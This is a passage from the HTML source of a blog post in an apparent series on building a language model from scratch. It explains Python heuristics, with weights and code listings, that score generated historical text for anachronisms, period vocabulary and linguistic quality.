&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; term &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; constraints[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;required_terms&amp;#39;&lt;/span&gt;]:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; term&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            period_terms_found &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; constraints[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;required_terms&amp;#39;&lt;/span&gt;]:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.3&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; (period_terms_found &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(constraints[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;required_terms&amp;#39;&lt;/span&gt;]))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check date references&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    date_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; check_date_references(text, constraints[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;date_range&amp;#39;&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.2&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; date_score
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;max&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0.0&lt;/span&gt;, &lt;span style=&#34;color:#91d7e3&#34;&gt;min&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;1.0&lt;/span&gt;, score))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 2: Historical Accuracy Assessment&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;The forbidden terms (like &amp;ldquo;electricity&amp;rdquo; for 1500-1600, &amp;ldquo;railway&amp;rdquo; for 1600-1700) are anachronisms - technologies or concepts that didn&amp;rsquo;t exist in those periods. We selected them based on historical timelines: electricity wasn&amp;rsquo;t harnessed until the late 1700s, railways didn&amp;rsquo;t appear until the early 1800s, and telegraphs came later. Similarly, the required terms (such as &amp;ldquo;hath&amp;rdquo;, &amp;ldquo;doth&amp;rdquo;, and &amp;ldquo;verily&amp;rdquo;) are archaic language patterns we observed frequently in the training corpus for each period.&lt;/p&gt;
&lt;p&gt;We analyzed the corpus to identify which linguistic markers were most characteristic of each era, then selected a small set that would catch obvious anachronisms without being overly restrictive. This is a practical heuristic rather than an exhaustive historical grammar - we focus on high-impact anachronisms and common period markers that are easy to detect automatically.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How the scoring works&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The &lt;strong&gt;&lt;code&gt;check_temporal_consistency()&lt;/code&gt;&lt;/strong&gt; function starts with a score of &lt;code&gt;1.0&lt;/code&gt; and applies penalties and bonuses: each forbidden term found subtracts 0.2 (so finding &amp;ldquo;railway&amp;rdquo; in 1600-1700 text drops the score), while finding required period-appropriate terms adds up to &lt;code&gt;0.3&lt;/code&gt; based on how many are present. Date references within the period add up to 0.2. The final score ranges from &lt;code&gt;0.0&lt;/code&gt; to &lt;code&gt;1.0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The overall &lt;strong&gt;&lt;code&gt;assess_historical_accuracy()&lt;/code&gt;&lt;/strong&gt; function then averages the five component scores (temporal consistency, historical facts, period-appropriate language, geographical accuracy, and social context) to produce a single score between 0 and 1, with higher values indicating better historical accuracy. In practice (and yes, we are generalizing), scores above &lt;code&gt;0.7&lt;/code&gt; indicate good historical consistency, while scores below &lt;code&gt;0.5&lt;/code&gt; suggest significant anachronisms or factual errors.&lt;/p&gt;
&lt;h3 id=&#34;24-linguistic-quality-evaluation&#34;&gt;2.4 Linguistic Quality Evaluation&lt;/h3&gt;
&lt;p&gt;While historical accuracy checks whether the model gets facts and period-appropriate terms right, linguistic quality measures how well the model writes - grammar, coherence, vocabulary diversity, sentence structure, and the presence of historical language patterns.&lt;/p&gt;
&lt;p&gt;Standard metrics like BLEU and ROUGE don&amp;rsquo;t capture whether the text reads naturally or uses appropriate archaic forms. We built customized tools that assess these dimensions, implemented in &lt;strong&gt;&lt;code&gt;05_evaluation/comprehensive_evaluator.py&lt;/code&gt;&lt;/strong&gt; as shown in &lt;a href=&#34;#listing3&#34; class=&#34;listing-ref&#34;&gt;Listing 3&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;To make this easier to read, it helps to view the code as a scoring &lt;em&gt;scaffold&lt;/em&gt; rather than a complete NLP system. Each &lt;strong&gt;&lt;code&gt;check_*&lt;/code&gt;&lt;/strong&gt; function is expected to return a normalized score in the range [0, 1] (higher is better), and &lt;strong&gt;&lt;code&gt;assess_linguistic_quality()&lt;/code&gt;&lt;/strong&gt; simply averages those components so you can track one headline number over time.&lt;/p&gt;
&lt;p&gt;This mirrors patterns from earlier in the series: in &lt;a
	
		href = &#34;/post/2025/10/building-llm-from-scratch-part2-data-tokenizers/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 2
	&lt;/span&gt;
&lt;/a&gt; we used lightweight, automatable checks to validate data quality, and in &lt;a
	
		href = &#34;/post/2025/11/building-llm-from-scratch-part3-model-architecture-gpu-training/&#34;
	

	

	&gt;
	
	&lt;span&gt;
		Part 3
	&lt;/span&gt;
&lt;/a&gt; we relied on simple, repeatable metrics to judge training health. Here, we do the same for generation quality: start with cheap checks that run everywhere, then iterate toward richer evaluators as needed.&lt;/p&gt;
&lt;p&gt;Also note that the exact weights (0.3/0.2, etc.) are tunable. The main benefit is splitting &amp;ldquo;linguistic quality&amp;rdquo; into components you can inspect individually, so when output is bad, you can tell &lt;em&gt;why&lt;/em&gt; (grammar-ish structure vs coherence vs vocabulary vs historically flavored patterns).&lt;/p&gt;
&lt;figure id=&#34;listing3&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;assess_linguistic_quality&lt;/span&gt;(generated_text):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Assess the linguistic quality of generated historical text&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quality_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check grammatical correctness&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    grammar_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; check_grammatical_correctness(generated_text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quality_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; grammar_score
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check coherence and flow&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    coherence_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; check_text_coherence(generated_text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quality_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; coherence_score
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check vocabulary appropriateness&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    vocab_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; check_vocabulary_appropriateness(generated_text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quality_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; vocab_score
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check sentence structure variety&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    structure_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; check_sentence_structure_variety(generated_text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quality_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; structure_score
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check historical language patterns&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pattern_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; check_historical_language_patterns(generated_text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    quality_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; pattern_score
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_checks &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; quality_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; total_checks
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;check_grammatical_correctness&lt;/span&gt;(text):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Check grammatical correctness of generated text&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Parse text into sentences&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    sentences &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; nltk&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;sent_tokenize(text)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;not&lt;/span&gt; sentences:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    correct_sentences &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; sentence &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; sentences:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check for basic grammatical patterns&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; check_sentence_grammar(sentence):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            correct_sentences &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; correct_sentences &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(sentences)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;check_historical_language_patterns&lt;/span&gt;(text):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Check if text follows appropriate historical language patterns&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_patterns &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check for appropriate use of historical verb forms&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    historical_verbs &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;hath&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;doth&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;dost&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;art&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;wilt&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;shalt&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    verb_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; verb &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; historical_verbs:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; verb &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            verb_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; historical_verbs:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.3&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; (verb_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(historical_verbs))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_patterns &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check for appropriate use of historical pronouns&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    historical_pronouns &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;thou&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;thee&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;thy&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;thine&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;ye&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    pronoun_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; pronoun &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; historical_pronouns:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; pronoun &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; text&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;lower():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            pronoun_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; historical_pronouns:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0.3&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; (pronoun_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;len&lt;/span&gt;(historical_pronouns))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    total_patterns &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Check for appropriate use of historical conjunctions&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    historical_conjunctions &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;whilst&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;betwixt&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;amongst&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;ere&amp;#39;&lt;/span&gt;, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;anon&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    conj_score &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;for&lt;/span&gt; conj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; historical_conjunctions:
